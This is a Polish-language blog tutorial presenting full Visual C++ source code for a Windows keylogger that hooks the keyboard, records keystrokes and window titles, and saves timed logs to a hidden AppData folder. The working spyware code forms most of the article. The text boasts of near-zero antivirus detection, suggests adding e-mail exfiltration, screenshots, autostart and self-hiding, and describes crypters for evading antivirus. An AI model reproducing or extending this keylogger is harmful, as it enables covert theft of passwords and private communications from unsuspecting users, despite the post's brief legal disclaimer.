Aplikacja typu keylogger — Visual C++
Napisane 12 lutego Anno Domini 2018 o godzinie 16:51:52 przez Dawid Farbaniec w kategorii Visual C++
1. Aplikacje typu keylogger — informacje ogólne
Programy określane jako keylogger (z ang. rejestrator klawiszy) służą do monitorowania wciskanych klawiszy.
Dzięki tego typu funkcjonalności możliwe jest przechwycenie rozmów tekstowych, adresów odwiedzanych stron www, haseł i ogólnie wszystkiego co jest pisane na klawiaturze. Jednak polskie prawo nie jest wobec tego obojętne (patrz: Kodeks karny / Przestępstwa przeciwko ochronie informacji (265-269B)). Z tego powodu informacji tutaj zawartych używasz na własną odpowiedzialność.
2. Kod źródłowy aplikacji keylogger (Visual C++)
Aby lepiej zrozumieć zagrożenie oraz udowodnić, że keylogger może napisać nawet początkujący programista na listingu 2.1 przedstawiono kod źródłowy keyloggera (prototyp). Program ten rejestruje wciskane klawisze za pomocą założenia niskopoziomowego podpięcia (ang. hook) na klawiaturę w systemie Windows®. Do tego celu została użyta funkcja WinAPI o nazwie SetWindowsHookEx
z odpowiednimi parametrami. W tym przypadku podano: wartość stałą WH_KEYBOARD_LL
(#define WH_KEYBOARD_LL 13
), wskaźnik do funkcji typu CALLBACK
(z ang. wywołanie zwrotne), uchwyt do instancji modułu oraz NULL
(w sumie 4 parametry). Po założeniu hooka na klawiaturę za pomocą wywołania zwrotnego aplikacja będzie informowana o każdym wciśnięciu klawisza.
Przykład keyloggera w C++ z listingu 2.1 posiada m.in. następujące funkcjonalności:
- Rejestruje wszystkie wciskane klawisze (oprócz klawiszy typu F1, F2, TAB, CTRL itp.)
- Zamienia wciśnięcie kombinacji
ALT+[znak]
na odpowiednie polskie znaki diakrytyczne (np. ALT+A
daje ą
, czyli „a z ogonkiem”)
- Raporty zapisuje co określoną ilość minut w katalogu \%APPDATA%\zxcvb (czas i katalog można zmienić)
- Rejestruje czas oraz nazwę okna w którym wpisywany jest tekst (np. Word, Notatnik, Czat itp.)
Listing 2.1. Prototyp aplikacji typu keylogger w Visual C++
#include <Windows.h>
#include <WinUser.h>
#include <strsafe.h>
#include <ShlObj.h>
#include <cstdlib>
#include <fstream>
#include <map>
#pragma comment(lib, "shell32.lib")
UINT logIntervalInMinutes = 1;
HHOOK hKeyboardHook = 0;
std::wstring keyboardLog;
HWND hPreviousWindow = NULL;
std::map<DWORD, std::wstring> keys1 =
{
{ VK_RETURN, L"\r\n" },
{ VK_BACK, L"[Backspace]" },
{ VK_ESCAPE, L"[Escape]" },
{ VK_CAPITAL, L"[Capslock]" },
{ VK_DELETE, L"[Delete]" },
{ VK_SPACE, L" " },
{ VK_MULTIPLY, L"*" },
{ VK_ADD, L"+" },
{ VK_SUBTRACT, L"-" },
{ VK_DECIMAL, L"." },
{ VK_DIVIDE, L"/" },
{ VK_NUMPAD0, L"0" },{ VK_NUMPAD1, L"1" },
{ VK_NUMPAD2, L"2" },{ VK_NUMPAD3, L"3" },
{ VK_NUMPAD4, L"4" },{ VK_NUMPAD5, L"5" },
{ VK_NUMPAD6, L"6" },{ VK_NUMPAD7, L"7" },
{ VK_NUMPAD8, L"8" },{ VK_NUMPAD9, L"9" },
};
std::map<DWORD, std::wstring> keys2
{
{ VK_OEM_COMMA , L"<," },
{ VK_OEM_1 , L":;" },
{ VK_OEM_2 , L"?/" },
{ VK_OEM_3 , L"~`" },
{ VK_OEM_4 , L"{[" },
{ VK_OEM_5 , L"|\\" },
{ VK_OEM_6 , L"}]" },
{ VK_OEM_7 , L"\"'" },
{ VK_OEM_PERIOD , L">." },
{ VK_OEM_PLUS , L"+=" },
{ VK_OEM_MINUS , L"_-" },
{ 48 , L")0" },{ 49 , L"!1" },
{ 50, L"@2" },{ 51 , L"#3" },
{ 52 , L"$4" },{ 53 , L"%5" },
{ 54 , L"^6" },{ 55 , L"&7" },
{ 56 , L"*8" },{ 57 , L"(9" }
};
std::map<DWORD, std::wstring> accentKeys
{
{ 65 , L"Ąą" },{ 67 , L"Ćć" },
{ 69 , L"Ęę" },{ 76 , L"Łł" },
{ 78 , L"Ńń" },{ 79 , L"Óó" },
{ 83 , L"Śś" },{ 88 , L"Źź" },
{ 90 , L"Żż" }
};
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;
BOOL bShift = FALSE;
BOOL bCapital = FALSE;
if (nCode < HC_ACTION)
{
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
if (GetForegroundWindow() != hPreviousWindow)
{
WCHAR szWindowTitle[256];
WCHAR szWindowTitleFormatted[512];
hPreviousWindow = GetForegroundWindow();
GetWindowText(hPreviousWindow, szWindowTitle, 256);
SYSTEMTIME st;
GetLocalTime(&st);
StringCchPrintf(szWindowTitleFormatted, 512, L" \r\n[ %02d:%02d:%02d — %s ] \r\n",
st.wHour, st.wMinute, st.wSecond, szWindowTitle);
keyboardLog.append(szWindowTitleFormatted);
}
std::wstring currentKey;
UINT index = 0;
bShift = (GetAsyncKeyState(VK_LSHIFT) & 0x8000 || GetAsyncKeyState(VK_RSHIFT) & 0x8000) ? TRUE : FALSE;
bCapital = GetAsyncKeyState(VK_CAPITAL) & 0x8000 ? TRUE : FALSE;
std::map<DWORD, std::wstring>::iterator it3 = accentKeys.find(pKbdLLHookStruct->vkCode);
if (it3 != accentKeys.end() && (pKbdLLHookStruct->flags & LLKHF_ALTDOWN) && (wParam == WM_SYSKEYUP))
{
index = bShift || bCapital ? 0 : 1;
currentKey = it3->second[index];
}
if (wParam == WM_KEYUP)
{
std::map<DWORD, std::wstring>::iterator it = keys1.find(pKbdLLHookStruct->vkCode);
std::map<DWORD, std::wstring>::iterator it2 = keys2.find(pKbdLLHookStruct->vkCode);
if (it != keys1.end())
{
currentKey = it->second;
}
else if (it2 != keys2.end())
{
index = bShift ? 0 : 1;
currentKey = it2->second[index];
}
if (pKbdLLHookStruct->vkCode >= 65 && pKbdLLHookStruct->vkCode <= 90)
{
int ASCIIkey = pKbdLLHookStruct->vkCode;
currentKey = bCapital || bShift ? toupper(ASCIIkey) : tolower(ASCIIkey);
}
}
if (currentKey.length() > 0)
{
keyboardLog.append(currentKey);
}
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
void SaveLogFile(std::wstring logContent)
{
WCHAR logPath[512];
WCHAR logFileName[128];
BOOL result = SHGetSpecialFolderPath(0, logPath, CSIDL_APPDATA, false);
if (FAILED(result))
return;
StringCchCat(logPath, 512, L"\\zxcvb");
CreateDirectory(logPath, NULL);
SYSTEMTIME st;
GetLocalTime(&st);
StringCchPrintf(logFileName, 128, L"\\log_%04d_%02d_%02d_%02d_%02d_%02d.txt",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
StringCchCat(logPath, 512, logFileName);
int charCount = WideCharToMultiByte(CP_UTF8, 0, keyboardLog.c_str(), keyboardLog.length() + 1, NULL, 0, NULL, NULL);
std::string stringLog;
stringLog.resize(charCount);
WideCharToMultiByte(CP_UTF8, 0, keyboardLog.c_str(), keyboardLog.length() + 1,
const_cast<PCHAR>(stringLog.c_str()), charCount, NULL, NULL);
std::ofstream fs(logPath);
fs << stringLog.c_str();
fs.close();
}
void CALLBACK MyTimerProc(HWND hwnd, UINT uMsg, UINT_PTR idEvent, DWORD dwTime)
{
SaveLogFile(keyboardLog);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, GetModuleHandle(0), 0);
if (hKeyboardHook == NULL)
ExitProcess(0);
SetTimer(NULL, 777, logIntervalInMinutes * 60 * 1000, (TIMERPROC)MyTimerProc);
#if _DEBUG
MessageBox(0, L"Keylogger jest aktywny. Kliknij OK, aby zakończyć.", L"AniolyCyberprzestrzeni.pl", 0);
ExitProcess(0);
#endif
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hKeyboardHook);
return (int)msg.wParam;
}

Rysunek 2.1. Prototyp aplikacji typu keylogger podczas działania (Visual C++)
Powyżej na rysunku 2.1 przedstawiono raport testowy wygenerowany przez aplikację z listingu 2.1 (keylogger Visual C++). Jak widać zaprezentowany projekt jest keyloggerem lokalnym, ale może wysyłać raporty poprzez wiadomość E-mail — trzeba to dopisać. Aplikację można rozbudować o wykonywanie zrzutów (zdjęć) ekranu co określony czas, dodać startowanie razem z systemem czy nawet ukrywanie się. Jednak to nie jest już w ramach tego artykułu.
Warto również wspomnieć, że prezentowany
keylogger w Visual C++ w momencie pisania tego artykułu jest wykrywalny tylko przez
1 silnik antywirusowy na
67 (tutaj dowód).
3. Podsumowanie
Przestrzegam przed pobieraniem jakichkolwiek programów (w tym keyloggerów) z niepewnych źródeł. Udostępnianie programów z dołączonym złośliwym kodem jest bardzo starą, ale wciąż skuteczną metodą infekcji. Skąd wiesz czy znaleziony plik nie jest złośliwym oprogramowaniem? Uruchamiając program pobrany z jakiegoś warezu czy niepewnej strony narażasz swój system na infekcje. I to Ty możesz wtedy paść ofiarą złego hakera. Najlepszym sposobem jest stworzenie własnego narzędzia, ale wymaga to nauki podstaw programowania.
Keylogger jest niewykrywalny zaraz po stworzeniu, jeśli kod jest unikatowy i nie zawiera elementów, które antywirusy mają w swoich bazach. Istnieją też metody szyfrowania kodu plików wykonywalnych, co sprawia, że wykrywalny wcześniej program, nie jest rozpoznawany przez antywirusy jako złośliwy. Narzędzia szyfrujące i zapewniające zmniejszenie wykrywalności określa się nazwą crypter.
Jeśli podoba Ci się powyższy artykuł:
Napisz komentarz — bez zakładania konta!